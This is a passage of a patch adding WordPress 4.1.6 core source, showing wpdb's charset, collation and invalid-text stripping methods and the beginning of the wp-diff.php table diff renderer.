+	 * @param string $column Column name.
+	 * @return mixed array( 'length' => (int), 'type' => 'byte' | 'char' )
+	 *               false if the column has no length (for example, numeric column)
+	 *               WP_Error object if there was an error.
+	 */
+	public function get_col_length( $table, $column ) {
+		$tablekey = strtolower( $table );
+		$columnkey = strtolower( $column );
+
+		// Skip this entirely if this isn't a MySQL database.
+		if ( false === $this->is_mysql ) {
+			return false;
+		}
+
+		if ( empty( $this->col_meta[ $tablekey ] ) ) {
+			// This primes column information for us.
+			$table_charset = $this->get_table_charset( $table );
+			if ( is_wp_error( $table_charset ) ) {
+				return $table_charset;
+			}
+		}
+
+		if ( empty( $this->col_meta[ $tablekey ][ $columnkey ] ) ) {
+			return false;
+		}
+
+		$typeinfo = explode( '(', $this->col_meta[ $tablekey ][ $columnkey ]->Type );
+
+		$type = strtolower( $typeinfo[0] );
+		if ( ! empty( $typeinfo[1] ) ) {
+			$length = trim( $typeinfo[1], ')' );
+		} else {
+			$length = false;
+		}
+
+		switch( $type ) {
+			case 'char':
+			case 'varchar':
+				return array(
+					'type'   => 'char',
+					'length' => (int) $length,
+				);
+				break;
+			case 'binary':
+			case 'varbinary':
+				return array(
+					'type'   => 'byte',
+					'length' => (int) $length,
+				);
+				break;
+			case 'tinyblob':
+			case 'tinytext':
+				return array(
+					'type'   => 'byte',
+					'length' => 255,        // 2^8 - 1
+				);
+				break;
+			case 'blob':
+			case 'text':
+				return array(
+					'type'   => 'byte',
+					'length' => 65535,      // 2^16 - 1
+				);
+				break;
+			case 'mediumblob':
+			case 'mediumtext':
+				return array(
+					'type'   => 'byte',
+					'length' => 16777215,   // 2^24 - 1
+				);
+				break;
+			case 'longblob':
+			case 'longtext':
+				return array(
+					'type'   => 'byte',
+					'length' => 4294967295, // 2^32 - 1
+				);
+				break;
+			default:
+				return false;
+		}
+
+		return false;
+	}
+
+	/**
+	 * Check if a string is ASCII.
+	 *
+	 * The negative regex is faster for non-ASCII strings, as it allows
+	 * the search to finish as soon as it encounters a non-ASCII character.
+	 *
+	 * @since 4.2.0
+	 * @access protected
+	 *
+	 * @param string $string String to check.
+	 * @return bool True if ASCII, false if not.
+	 */
+	protected function check_ascii( $string ) {
+		if ( function_exists( 'mb_check_encoding' ) ) {
+			if ( mb_check_encoding( $string, 'ASCII' ) ) {
+				return true;
+			}
+		} elseif ( ! preg_match( '/[^\x00-\x7F]/', $string ) ) {
+			return true;
+		}
+
+		return false;
+	}
+
+	/**
+	 * Check if the query is accessing a collation considered safe on the current version of MySQL.
+	 *
+	 * @since 4.2.0
+	 * @access protected
+	 *
+	 * @param string $query The query to check.
+	 * @return bool True if the collation is safe, false if it isn't.
+	 */
+	protected function check_safe_collation( $query ) {
+		if ( $this->checking_collation ) {
+			return true;
+		}
+
+		// We don't need to check the collation for queries that don't read data.
+		$query = ltrim( $query, "\r\n\t (" );
+		if ( preg_match( '/^(?:SHOW|DESCRIBE|DESC|EXPLAIN|CREATE)\s/i', $query ) ) {
+			return true;
+		}
+
+		// All-ASCII queries don't need extra checking.
+		if ( $this->check_ascii( $query ) ) {
+			return true;
+		}
+
+		$table = $this->get_table_from_query( $query );
+		if ( ! $table ) {
+			return false;
+		}
+
+		$this->checking_collation = true;
+		$collation = $this->get_table_charset( $table );
+		$this->checking_collation = false;
+
+		// Tables with no collation, or latin1 only, don't need extra checking.
+		if ( false === $collation || 'latin1' === $collation ) {
+			return true;
+		}
+
+		$table = strtolower( $table );
+		if ( empty( $this->col_meta[ $table ] ) ) {
+			return false;
+		}
+
+		// If any of the columns don't have one of these collations, it needs more sanity checking.
+		foreach( $this->col_meta[ $table ] as $col ) {
+			if ( empty( $col->Collation ) ) {
+				continue;
+			}
+
+			if ( ! in_array( $col->Collation, array( 'utf8_general_ci', 'utf8_bin', 'utf8mb4_general_ci', 'utf8mb4_bin' ), true ) ) {
+				return false;
+			}
+		}
+
+		return true;
+	}
+
+	/**
+	 * Strips any invalid characters based on value/charset pairs.
+	 *
+	 * @since 4.2.0
+	 * @access protected
+	 *
+	 * @param array $data Array of value arrays. Each value array has the keys
+	 *                    'value' and 'charset'. An optional 'ascii' key can be
+	 *                    set to false to avoid redundant ASCII checks.
+	 * @return array|WP_Error The $data parameter, with invalid characters removed from
+	 *                        each value. This works as a passthrough: any additional keys
+	 *                        such as 'field' are retained in each value array. If we cannot
+	 *                        remove invalid characters, a {@see WP_Error} object is returned.
+	 */
+		// If any of the columns don't have one of these collations, it needs more sanity checking.
+	protected function strip_invalid_text( $data ) {
+		$db_check_string = false;
+
+		foreach ( $data as &$value ) {
+			$charset = $value['charset'];
+
+			if ( is_array( $value['length'] ) ) {
+				$length = $value['length']['length'];
+			} else {
+				$length = false;
+			}
+
+			// There's no charset to work with.
+			if ( false === $charset ) {
+				continue;
+			}
+
+			// Column isn't a string.
+			if ( ! is_string( $value['value'] ) ) {
+				continue;
+			}
+
+			$truncate_by_byte_length = 'byte' === $value['length']['type'];
+
+			$needs_validation = true;
+			if (
+				// latin1 can store any byte sequence
+				'latin1' === $charset
+			||
+				// ASCII is always OK.
+				( ! isset( $value['ascii'] ) && $this->check_ascii( $value['value'] ) )
+			) {
+				$truncate_by_byte_length = true;
+				$needs_validation = false;
+			}
+
+			if ( $truncate_by_byte_length ) {
+				mbstring_binary_safe_encoding();
+				if ( false !== $length && strlen( $value['value'] ) > $length ) {
+					$value['value'] = substr( $value['value'], 0, $length );
+				}
+				reset_mbstring_encoding();
+
+				if ( ! $needs_validation ) {
+					continue;
+				}
+			}
+
+			// utf8 can be handled by regex, which is a bunch faster than a DB lookup.
+			if ( ( 'utf8' === $charset || 'utf8mb3' === $charset || 'utf8mb4' === $charset ) && function_exists( 'mb_strlen' ) ) {
+				$regex = '/
+					(
+						(?: [\x00-\x7F]                  # single-byte sequences   0xxxxxxx
+						|   [\xC2-\xDF][\x80-\xBF]       # double-byte sequences   110xxxxx 10xxxxxx
+						|   \xE0[\xA0-\xBF][\x80-\xBF]   # triple-byte sequences   1110xxxx 10xxxxxx * 2
+						|   [\xE1-\xEC][\x80-\xBF]{2}
+						|   \xED[\x80-\x9F][\x80-\xBF]
+						|   [\xEE-\xEF][\x80-\xBF]{2}';
+
+				if ( 'utf8mb4' === $charset ) {
+					$regex .= '
+						|    \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences   11110xxx 10xxxxxx * 3
+						|    [\xF1-\xF3][\x80-\xBF]{3}
+						|    \xF4[\x80-\x8F][\x80-\xBF]{2}
+					';
+				}
+
+				$regex .= '){1,40}                          # ...one or more times
+					)
+					| .                                  # anything else
+					/x';
+				$value['value'] = preg_replace( $regex, '$1', $value['value'] );
+
+
+				if ( false !== $length && mb_strlen( $value['value'], 'UTF-8' ) > $length ) {
+					$value['value'] = mb_substr( $value['value'], 0, $length, 'UTF-8' );
+				}
+				continue;
+			}
+
+			// We couldn't use any local conversions, send it to the DB.
+			$value['db'] = $db_check_string = true;
+		}
+		unset( $value ); // Remove by reference.
+
+		if ( $db_check_string ) {
+			$queries = array();
+			foreach ( $data as $col => $value ) {
+				if ( ! empty( $value['db'] ) ) {
+					if ( ! isset( $queries[ $value['charset'] ] ) ) {
+						$queries[ $value['charset'] ] = array();
+					}
+
+					// We're going to need to truncate by characters or bytes, depending on the length value we have.
+					if ( 'byte' === $value['length']['type'] ) {
+						// Split the CONVERT() calls by charset, so we can make sure the connection is right
+						$queries[ $value['charset'] ][ $col ] = $this->prepare( "CONVERT( LEFT( CONVERT( %s USING binary ), %d ) USING {$value['charset']} )", $value['value'], $value['length']['length'] );
+					} else {
+						$queries[ $value['charset'] ][ $col ] = $this->prepare( "LEFT( CONVERT( %s USING {$value['charset']} ), %d )", $value['value'], $value['length']['length'] );
+					}
+
+					unset( $data[ $col ]['db'] );
+				}
+			}
+
+			$connection_charset = $this->charset;
+			foreach ( $queries as $charset => $query ) {
+				if ( ! $query ) {
+					continue;
+				}
+
+				// Change the charset to match the string(s) we're converting
+				if ( $charset !== $connection_charset ) {
+					$connection_charset = $charset;
+					$this->set_charset( $this->dbh, $charset );
+				}
+
+				$this->check_current_query = false;
+
+				$sql = array();
+				foreach ( $query as $column => $column_query ) {
+					$sql[] = $column_query . " AS x_$column";
+				}
+
+				$row = $this->get_row( "SELECT " . implode( ', ', $sql ), ARRAY_A );
+				if ( ! $row ) {
+					$this->set_charset( $this->dbh, $connection_charset );
+					return new WP_Error( 'wpdb_strip_invalid_text_failure' );
+				}
+
+				foreach ( array_keys( $query ) as $column ) {
+					$data[ $column ]['value'] = $row["x_$column"];
+				}
+			}
+
+			// Don't forget to change the charset back!
+			if ( $connection_charset !== $this->charset ) {
+				$this->set_charset( $this->dbh );
+			}
+		}
+
+		return $data;
+	}
+
+	/**
+	 * Strips any invalid characters from the query.
+	 *
+	 * @since 4.2.0
+	 * @access protected
+	 *
+	 * @param string $query Query to convert.
+	 * @return string|WP_Error The converted query, or a {@see WP_Error} object if the conversion fails.
+	 */
+	protected function strip_invalid_text_from_query( $query ) {
+		// We don't need to check the collation for queries that don't read data.
+		$trimmed_query = ltrim( $query, "\r\n\t (" );
+		if ( preg_match( '/^(?:SHOW|DESCRIBE|DESC|EXPLAIN|CREATE)\s/i', $trimmed_query ) ) {
+			return $query;
+		}
+
+		$table = $this->get_table_from_query( $query );
+		if ( $table ) {
+			$charset = $this->get_table_charset( $table );
+			if ( is_wp_error( $charset ) ) {
+				return $charset;
+			}
+
+			// We can't reliably strip text from tables containing binary/blob columns
+			if ( 'binary' === $charset ) {
+				return $query;
+			}
+		} else {
+			$charset = $this->charset;
+		}
+
+		$data = array(
+			'value'   => $query,
+			'charset' => $charset,
+			'ascii'   => false,
+			'length'  => false,
+		);
+
+		$data = $this->strip_invalid_text( array( $data ) );
+		if ( is_wp_error( $data ) ) {
+			return $data;
+		}
+
+		return $data[0]['value'];
+	}
+
+	/**
+	 * Strips any invalid characters from the string for a given table and column.
+	 *
+	 * @since 4.2.0
+	 * @access public
+	 *
+	 * @param string $table  Table name.
+	 * @param string $column Column name.
+	 * @param string $value  The text to check.
+	 * @return string|WP_Error The converted string, or a `WP_Error` object if the conversion fails.
+	 */
+	public function strip_invalid_text_for_column( $table, $column, $value ) {
+		if ( ! is_string( $value ) ) {
+			return $value;
+		}
+
+		$charset = $this->get_col_charset( $table, $column );
+		if ( ! $charset ) {
+			// Not a string column.
+			return $value;
+		} elseif ( is_wp_error( $charset ) ) {
+			// Bail on real errors.
+			return $charset;
+		}
+
+		$data = array(
+			$column => array(
+				'value'   => $value,
+				'charset' => $charset,
+				'length'  => $this->get_col_length( $table, $column ),
+			)
+		);
+
+		$data = $this->strip_invalid_text( $data );
+		if ( is_wp_error( $data ) ) {
+			return $data;
+		}
+
+		return $data[ $column ]['value'];
+	}
+
+	/**
+	 * Find the first table name referenced in a query.
+	 *
+	 * @since 4.2.0
+	 * @access protected
+	 *
+	 * @param string $query The query to search.
+	 * @return string|false $table The table name found, or false if a table couldn't be found.
+	 */
+	protected function get_table_from_query( $query ) {
+		// Remove characters that can legally trail the table name.
+		$query = rtrim( $query, ';/-#' );
+
+		// Allow (select...) union [...] style queries. Use the first query's table name.
+		$query = ltrim( $query, "\r\n\t (" );
+
+		/*
+		 * Strip everything between parentheses except nested selects and use only 1,000
+		 * chars of the query.
+		 */
+		$query = preg_replace( '/\((?!\s*select)[^(]*?\)/is', '()', substr( $query, 0, 1000 ) );
+
+		// Quickly match most common queries.
+		if ( preg_match( '/^\s*(?:'
+				. 'SELECT.*?\s+FROM'
+				. '|INSERT(?:\s+LOW_PRIORITY|\s+DELAYED|\s+HIGH_PRIORITY)?(?:\s+IGNORE)?(?:\s+INTO)?'
+				. '|REPLACE(?:\s+LOW_PRIORITY|\s+DELAYED)?(?:\s+INTO)?'
+				. '|UPDATE(?:\s+LOW_PRIORITY)?(?:\s+IGNORE)?'
+				. '|DELETE(?:\s+LOW_PRIORITY|\s+QUICK|\s+IGNORE)*(?:\s+FROM)?'
+				. ')\s+((?:[0-9a-zA-Z$_.`]|[\xC2-\xDF][\x80-\xBF])+)/is', $query, $maybe ) ) {
+			return str_replace( '`', '', $maybe[1] );
+		}
+
+		// SHOW TABLE STATUS and SHOW TABLES
+		if ( preg_match( '/^\s*(?:'
+				. 'SHOW\s+TABLE\s+STATUS.+(?:LIKE\s+|WHERE\s+Name\s*=\s*)'
+				. '|SHOW\s+(?:FULL\s+)?TABLES.+(?:LIKE\s+|WHERE\s+Name\s*=\s*)'
+				. ')\W((?:[0-9a-zA-Z$_.`]|[\xC2-\xDF][\x80-\xBF])+)\W/is', $query, $maybe ) ) {
+			return str_replace( '`', '', $maybe[1] );
+		}
+
+		// Big pattern for the rest of the table-related queries.
+		if ( preg_match( '/^\s*(?:'
+				. '(?:EXPLAIN\s+(?:EXTENDED\s+)?)?SELECT.*?\s+FROM'
+				. '|DESCRIBE|DESC|EXPLAIN|HANDLER'
+				. '|(?:LOCK|UNLOCK)\s+TABLE(?:S)?'
+				. '|(?:RENAME|OPTIMIZE|BACKUP|RESTORE|CHECK|CHECKSUM|ANALYZE|REPAIR).*\s+TABLE'
+				. '|TRUNCATE(?:\s+TABLE)?'
+				. '|CREATE(?:\s+TEMPORARY)?\s+TABLE(?:\s+IF\s+NOT\s+EXISTS)?'
+				. '|ALTER(?:\s+IGNORE)?\s+TABLE'
+				. '|DROP\s+TABLE(?:\s+IF\s+EXISTS)?'
+				. '|CREATE(?:\s+\w+)?\s+INDEX.*\s+ON'
+				. '|DROP\s+INDEX.*\s+ON'
+				. '|LOAD\s+DATA.*INFILE.*INTO\s+TABLE'
+				. '|(?:GRANT|REVOKE).*ON\s+TABLE'
+				. '|SHOW\s+(?:.*FROM|.*TABLE)'
+				. ')\s+\(*\s*((?:[0-9a-zA-Z$_.`]|[\xC2-\xDF][\x80-\xBF])+)\s*\)*/is', $query, $maybe ) ) {
+			return str_replace( '`', '', $maybe[1] );
+		}
+
+		return false;
+	}
+
+	/**
+	 * Load the column metadata from the last query.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @access protected
+	 */
+	protected function load_col_info() {
+		if ( $this->col_info )
+			return;
+
+		if ( $this->use_mysqli ) {
+			for ( $i = 0; $i < @mysqli_num_fields( $this->result ); $i++ ) {
+				$this->col_info[ $i ] = @mysqli_fetch_field( $this->result );
+			}
+		} else {
+			for ( $i = 0; $i < @mysql_num_fields( $this->result ); $i++ ) {
+				$this->col_info[ $i ] = @mysql_fetch_field( $this->result, $i );
+			}
+		}
+	}
+
+	/**
+	 * Retrieve column metadata from the last query.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string $info_type Optional. Type one of name, table, def, max_length, not_null, primary_key, multiple_key, unique_key, numeric, blob, type, unsigned, zerofill
+	 * @param int $col_offset Optional. 0: col name. 1: which table the col's in. 2: col's max length. 3: if the col is numeric. 4: col's type
+	 * @return mixed Column Results
+	 */
+	public function get_col_info( $info_type = 'name', $col_offset = -1 ) {
+		$this->load_col_info();
+
+		if ( $this->col_info ) {
+			if ( $col_offset == -1 ) {
+				$i = 0;
+				$new_array = array();
+				foreach( (array) $this->col_info as $col ) {
+					$new_array[$i] = $col->{$info_type};
+					$i++;
+				}
+				return $new_array;
+			} else {
+				return $this->col_info[$col_offset]->{$info_type};
+			}
+		}
+	}
+
+	/**
+	 * Starts the timer, for debugging purposes.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return bool
+	 */
+	public function timer_start() {
+		$this->time_start = microtime( true );
+		return true;
+	}
+
+	/**
+	 * Stops the debugging timer.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return float Total time spent on the query, in seconds
+	 */
+	public function timer_stop() {
+		return ( microtime( true ) - $this->time_start );
+	}
+
+	/**
+	 * Wraps errors in a nice header and footer and dies.
+	 *
+	 * Will not die if wpdb::$show_errors is false.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $message The Error message
+	 * @param string $error_code Optional. A Computer readable string to identify the error.
+	 * @return false|void
+	 */
+	public function bail( $message, $error_code = '500' ) {
+		if ( !$this->show_errors ) {
+			if ( class_exists( 'WP_Error' ) )
+				$this->error = new WP_Error($error_code, $message);
+			else
+				$this->error = $message;
+			return false;
+		}
+		wp_die($message);
+	}
+
+	/**
+	 * Whether MySQL database is at least the required minimum version.
+	 *
+	 * @since 2.5.0
+	 * @uses $wp_version
+	 * @uses $required_mysql_version
+	 *
+	 * @return WP_Error
+	 */
+	public function check_database_version() {
+		global $wp_version, $required_mysql_version;
+		// Make sure the server has the required MySQL version
+		if ( version_compare($this->db_version(), $required_mysql_version, '<') )
+			return new WP_Error('database_version', sprintf( __( '<strong>ERROR</strong>: WordPress %1$s requires MySQL %2$s or higher' ), $wp_version, $required_mysql_version ));
+	}
+
+	/**
+	 * Whether the database supports collation.
+	 *
+	 * Called when WordPress is generating the table scheme.
+	 *
+	 * @since 2.5.0
+	 * @deprecated 3.5.0
+	 * @deprecated Use wpdb::has_cap( 'collation' )
+	 *
+	 * @return bool True if collation is supported, false if version does not
+	 */
+	public function supports_collation() {
+		_deprecated_function( __FUNCTION__, '3.5', 'wpdb::has_cap( \'collation\' )' );
+		return $this->has_cap( 'collation' );
+	}
+
+	/**
+	 * The database character collate.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @return string The database character collate.
+	 */
+	public function get_charset_collate() {
+		$charset_collate = '';
+
+		if ( ! empty( $this->charset ) )
+			$charset_collate = "DEFAULT CHARACTER SET $this->charset";
+		if ( ! empty( $this->collate ) )
+			$charset_collate .= " COLLATE $this->collate";
+
+		return $charset_collate;
+	}
+
+	/**
+	 * Determine if a database supports a particular feature.
+	 *
+	 * @since 2.7.0
+	 * @since 4.1.0 Support was added for the 'utf8mb4' feature.
+	 *
+	 * @see wpdb::db_version()
+	 *
+	 * @param string $db_cap The feature to check for. Accepts 'collation',
+	 *                       'group_concat', 'subqueries', 'set_charset',
+	 *                       or 'utf8mb4'.
+	 * @return bool Whether the database feature is supported, false otherwise.
+	 */
+	public function has_cap( $db_cap ) {
+		$version = $this->db_version();
+
+		switch ( strtolower( $db_cap ) ) {
+			case 'collation' :    // @since 2.5.0
+			case 'group_concat' : // @since 2.7.0
+			case 'subqueries' :   // @since 2.7.0
+				return version_compare( $version, '4.1', '>=' );
+			case 'set_charset' :
+				return version_compare( $version, '5.0.7', '>=' );
+			case 'utf8mb4' :      // @since 4.1.0
+				return version_compare( $version, '5.5.3', '>=' );
+		}
+
+		return false;
+	}
+
+	/**
+	 * Retrieve the name of the function that called wpdb.
+	 *
+	 * Searches up the list of functions until it reaches
+	 * the one that would most logically had called this method.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @return string The name of the calling function
+	 */
+	public function get_caller() {
+		return wp_debug_backtrace_summary( __CLASS__ );
+	}
+
+	/**
+	 * The database version number.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @return null|string Null on failure, version number on success.
+	 */
+	public function db_version() {
+		if ( $this->use_mysqli ) {
+			$server_info = mysqli_get_server_info( $this->dbh );
+		} else {
+			$server_info = mysql_get_server_info( $this->dbh );
+		}
+		return preg_replace( '/[^0-9.].*/', '', $server_info );
+	}
+}
Index: /tags/4.1.6/src/wp-includes/wp-diff.php
===================================================================
--- /tags/4.1.6/src/wp-includes/wp-diff.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/wp-diff.php	(revision 33402)
@@ -0,0 +1,548 @@
+<?php
+/**
+ * WordPress Diff bastard child of old MediaWiki Diff Formatter.
+ *
+ * Basically all that remains is the table structure and some method names.
+ *
+ * @package WordPress
+ * @subpackage Diff
+ */
+
+if ( !class_exists( 'Text_Diff' ) ) {
+	/** Text_Diff class */
+	require( dirname(__FILE__).'/Text/Diff.php' );
+	/** Text_Diff_Renderer class */
+	require( dirname(__FILE__).'/Text/Diff/Renderer.php' );
+	/** Text_Diff_Renderer_inline class */
+	require( dirname(__FILE__).'/Text/Diff/Renderer/inline.php' );
+}
+
+/**
+ * Table renderer to display the diff lines.
+ *
+ * @since 2.6.0
+ * @uses Text_Diff_Renderer Extends
+ */
+class WP_Text_Diff_Renderer_Table extends Text_Diff_Renderer {
+
+	/**
+	 * @see Text_Diff_Renderer::_leading_context_lines
+	 * @var int
+	 * @access public
+	 * @since 2.6.0
+	 */
+	public $_leading_context_lines  = 10000;
+
+	/**
+	 * @see Text_Diff_Renderer::_trailing_context_lines
+	 * @var int
+	 * @access public
+	 * @since 2.6.0
+	 */
+	public $_trailing_context_lines = 10000;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @var float
+	 * @access protected
+	 * @since 2.6.0
+	 */
+	protected $_diff_threshold = 0.6;
+
+	/**
+	 * Inline display helper object name.
+	 *
+	 * @var string
+	 * @access protected
+	 * @since 2.6.0
+	 */
+	protected $inline_diff_renderer = 'WP_Text_Diff_Renderer_inline';
+
+	/**
+	 * Should we show the split view or not
+	 *
+	 * @var string
+	 * @access protected
+	 * @since 3.6.0
+	 */
+	protected $_show_split_view = true;
+
+	/**
+	 * Constructor - Call parent constructor with params array.
+	 *
+	 * This will set class properties based on the key value pairs in the array.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param array $params
+	 */
+	public function __construct( $params = array() ) {
+		parent::__construct( $params );
+		if ( isset( $params[ 'show_split_view' ] ) )
+			$this->_show_split_view = $params[ 'show_split_view' ];
+	}
+
+	/**
+	 * @ignore
+	 *
+	 * @param string $header
+	 * @return string
+	 */
+	public function _startBlock( $header ) {
+		return '';
+	}
+
+	/**
+	 * @ignore
+	 *
+	 * @param array $lines
+	 * @param string $prefix
+	 */
+	public function _lines( $lines, $prefix=' ' ) {
+	}
+
+	/**
+	 * @ignore
+	 *
+	 * @param string $line HTML-escape the value.
+	 * @return string
+	 */
+	public function addedLine( $line ) {
+		return "<td class='diff-addedline'>{$line}</td>";
+
+	}
+
+	/**
+	 * @ignore
+	 *
+	 * @param string $line HTML-escape the value.
+	 * @return string
+	 */
+	public function deletedLine( $line ) {
+		return "<td class='diff-deletedline'>{$line}</td>";
+	}
+
+	/**
+	 * @ignore
+	 *
+	 * @param string $line HTML-escape the value.
+	 * @return string
+	 */
+	public function contextLine( $line ) {
+		return "<td class='diff-context'>{$line}</td>";
+	}
+
+	/**
+	 * @ignore
+	 *
+	 * @return string
+	 */
+	public function emptyLine() {
+		return '<td>&nbsp;</td>';
+	}
+
+	/**
+	 * @ignore
+	 * @access public
+	 *
+	 * @param array $lines
+	 * @param bool $encode
+	 * @return string
+	 */
+	public function _added( $lines, $encode = true ) {
+		$r = '';
+		foreach ($lines as $line) {
+			if ( $encode ) {
+				$processed_line = htmlspecialchars( $line );
+
+				/**
+				 * Contextually filter a diffed line.
+				 *
+				 * Filters TextDiff processing of diffed line. By default, diffs are processed with
+				 * htmlspecialchars. Use this filter to remove or change the processing. Passes a context
+				 * indicating if the line is added, deleted or unchanged.
+				 *
+				 * @since 4.1.0
+				 *
+				 * @param String $processed_line The processed diffed line.
+				 * @param String $line           The unprocessed diffed line.
+		 		 * @param string null            The line context. Values are 'added', 'deleted' or 'unchanged'.
+				 */
+				$line = apply_filters( 'process_text_diff_html', $processed_line, $line, 'added' );
+			}
+
+			if ( $this->_show_split_view ) {
+				$r .= '<tr>' . $this->emptyLine() . $this->emptyLine() . $this->addedLine( $line ) . "</tr>\n";
+			} else {
+				$r .= '<tr>' . $this->addedLine( $line ) . "</tr>\n";
+			}
+		}
+		return $r;
+	}
+
+	/**
+	 * @ignore
+	 * @access public
+	 *
+	 * @param array $lines
+	 * @param bool $encode
+	 * @return string
+	 */
+	public function _deleted( $lines, $encode = true ) {
+		$r = '';
+		foreach ($lines as $line) {
+			if ( $encode ) {
+				$processed_line = htmlspecialchars( $line );
+
+				/** This filter is documented in wp-includes/wp-diff.php */
+				$line = apply_filters( 'process_text_diff_html', $processed_line, $line, 'deleted' );
+			}
+			if ( $this->_show_split_view ) {
+				$r .= '<tr>' . $this->deletedLine( $line ) . $this->emptyLine() . $this->emptyLine() . "</tr>\n";
+			} else {
+				$r .= '<tr>' . $this->deletedLine( $line ) . "</tr>\n";
+			}
+
+		}
+		return $r;
+	}
+
+	/**
+	 * @ignore
+	 * @access public
+	 *
+	 * @param array $lines
+	 * @param bool $encode
+	 * @return string
+	 */
+	public function _context( $lines, $encode = true ) {
+		$r = '';
+		foreach ($lines as $line) {
+			if ( $encode ) {
+				$processed_line = htmlspecialchars( $line );
+
+				/** This filter is documented in wp-includes/wp-diff.php */
+				$line = apply_filters( 'process_text_diff_html', $processed_line, $line, 'unchanged' );
+			}
+			if (  $this->_show_split_view ) {
+				$r .= '<tr>' . $this->contextLine( $line ) . $this->emptyLine() . $this->contextLine( $line )  . "</tr>\n";
+			} else {
+				$r .= '<tr>' . $this->contextLine( $line ) . "</tr>\n";
+			}
+		}
+		return $r;
+	}
+
+	/**
+	 * Process changed lines to do word-by-word diffs for extra highlighting.
+	 *
+	 * (TRAC style) sometimes these lines can actually be deleted or added rows.
+	 * We do additional processing to figure that out
+	 *
+	 * @access public
+	 * @since 2.6.0
+	 *
+	 * @param array $orig
+	 * @param array $final
+	 * @return string
+	 */
+	public function _changed( $orig, $final ) {
+		$r = '';
+
+		// Does the aforementioned additional processing
+		// *_matches tell what rows are "the same" in orig and final. Those pairs will be diffed to get word changes
+		//	match is numeric: an index in other column
+		//	match is 'X': no match. It is a new row
+		// *_rows are column vectors for the orig column and the final column.
+		//	row >= 0: an indix of the $orig or $final array
+		//	row  < 0: a blank row for that column
+		list($orig_matches, $final_matches, $orig_rows, $final_rows) = $this->interleave_changed_lines( $orig, $final );
+
+		// These will hold the word changes as determined by an inline diff
+		$orig_diffs  = array();
+		$final_diffs = array();
+
+		// Compute word diffs for each matched pair using the inline diff
+		foreach ( $orig_matches as $o => $f ) {
+			if ( is_numeric($o) && is_numeric($f) ) {
+				$text_diff = new Text_Diff( 'auto', array( array($orig[$o]), array($final[$f]) ) );
+				$renderer = new $this->inline_diff_renderer;
+				$diff = $renderer->render( $text_diff );
+
+				// If they're too different, don't include any <ins> or <dels>
+				if ( $diff_count = preg_match_all( '!(<ins>.*?</ins>|<del>.*?</del>)!', $diff, $diff_matches ) ) {
+					// length of all text between <ins> or <del>
+					$stripped_matches = strlen(strip_tags( join(' ', $diff_matches[0]) ));
+					// since we count lengith of text between <ins> or <del> (instead of picking just one),
+					//	we double the length of chars not in those tags.
+					$stripped_diff = strlen(strip_tags( $diff )) * 2 - $stripped_matches;
+					$diff_ratio = $stripped_matches / $stripped_diff;
+					if ( $diff_ratio > $this->_diff_threshold )
+						continue; // Too different. Don't save diffs.
+				}
+
+				// Un-inline the diffs by removing del or ins
+				$orig_diffs[$o]  = preg_replace( '|<ins>.*?</ins>|', '', $diff );
+				$final_diffs[$f] = preg_replace( '|<del>.*?</del>|', '', $diff );
+			}
+		}
+
+		foreach ( array_keys($orig_rows) as $row ) {
+			// Both columns have blanks. Ignore them.
+			if ( $orig_rows[$row] < 0 && $final_rows[$row] < 0 )
+				continue;
+
+			// If we have a word based diff, use it. Otherwise, use the normal line.
+			if ( isset( $orig_diffs[$orig_rows[$row]] ) )
+				$orig_line = $orig_diffs[$orig_rows[$row]];
+			elseif ( isset( $orig[$orig_rows[$row]] ) )
+				$orig_line = htmlspecialchars($orig[$orig_rows[$row]]);
+			else
+				$orig_line = '';
+
+			if ( isset( $final_diffs[$final_rows[$row]] ) )
+				$final_line = $final_diffs[$final_rows[$row]];
+			elseif ( isset( $final[$final_rows[$row]] ) )
+				$final_line = htmlspecialchars($final[$final_rows[$row]]);
+			else
+				$final_line = '';
+
+			if ( $orig_rows[$row] < 0 ) { // Orig is blank. This is really an added row.
+				$r .= $this->_added( array($final_line), false );
+			} elseif ( $final_rows[$row] < 0 ) { // Final is blank. This is really a deleted row.
+				$r .= $this->_deleted( array($orig_line), false );
+			} else { // A true changed row.
+				if ( $this->_show_split_view ) {
+					$r .= '<tr>' . $this->deletedLine( $orig_line ) . $this->emptyLine() . $this->addedLine( $final_line ) . "</tr>\n";
+				} else {
+					$r .= '<tr>' . $this->deletedLine( $orig_line ) . "</tr><tr>" . $this->addedLine( $final_line ) . "</tr>\n";
+				}
+			}
+		}
+
+		return $r;
+	}
+
+	/**
+	 * Takes changed blocks and matches which rows in orig turned into which rows in final.
+	 *
+	 * Returns
+	 *	*_matches ( which rows match with which )
+	 *	*_rows ( order of rows in each column interleaved with blank rows as
+	 *		necessary )
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param array $orig
+	 * @param array $final
+	 * @return array
+	 */
+	public function interleave_changed_lines( $orig, $final ) {
+
+		// Contains all pairwise string comparisons. Keys are such that this need only be a one dimensional array.
+		$matches = array();
+		foreach ( array_keys($orig) as $o ) {
+			foreach ( array_keys($final) as $f ) {
+				$matches["$o,$f"] = $this->compute_string_distance( $orig[$o], $final[$f] );
+			}
+		}
+		asort($matches); // Order by string distance.
+
+		$orig_matches  = array();
+		$final_matches = array();
+
+		foreach ( $matches as $keys => $difference ) {
+			list($o, $f) = explode(',', $keys);
+			$o = (int) $o;
+			$f = (int) $f;
+
+			// Already have better matches for these guys
+			if ( isset($orig_matches[$o]) && isset($final_matches[$f]) )
+				continue;
+
+			// First match for these guys. Must be best match
+			if ( !isset($orig_matches[$o]) && !isset($final_matches[$f]) ) {
+				$orig_matches[$o] = $f;
+				$final_matches[$f] = $o;
+				continue;
+			}
+
+			// Best match of this final is already taken?  Must mean this final is a new row.
+			if ( isset($orig_matches[$o]) )
+				$final_matches[$f] = 'x';
+
+			// Best match of this orig is already taken?  Must mean this orig is a deleted row.
+			elseif ( isset($final_matches[$f]) )
+				$orig_matches[$o] = 'x';
+		}
+
+		// We read the text in this order
+		ksort($orig_matches);
+		ksort($final_matches);
+
+		// Stores rows and blanks for each column.
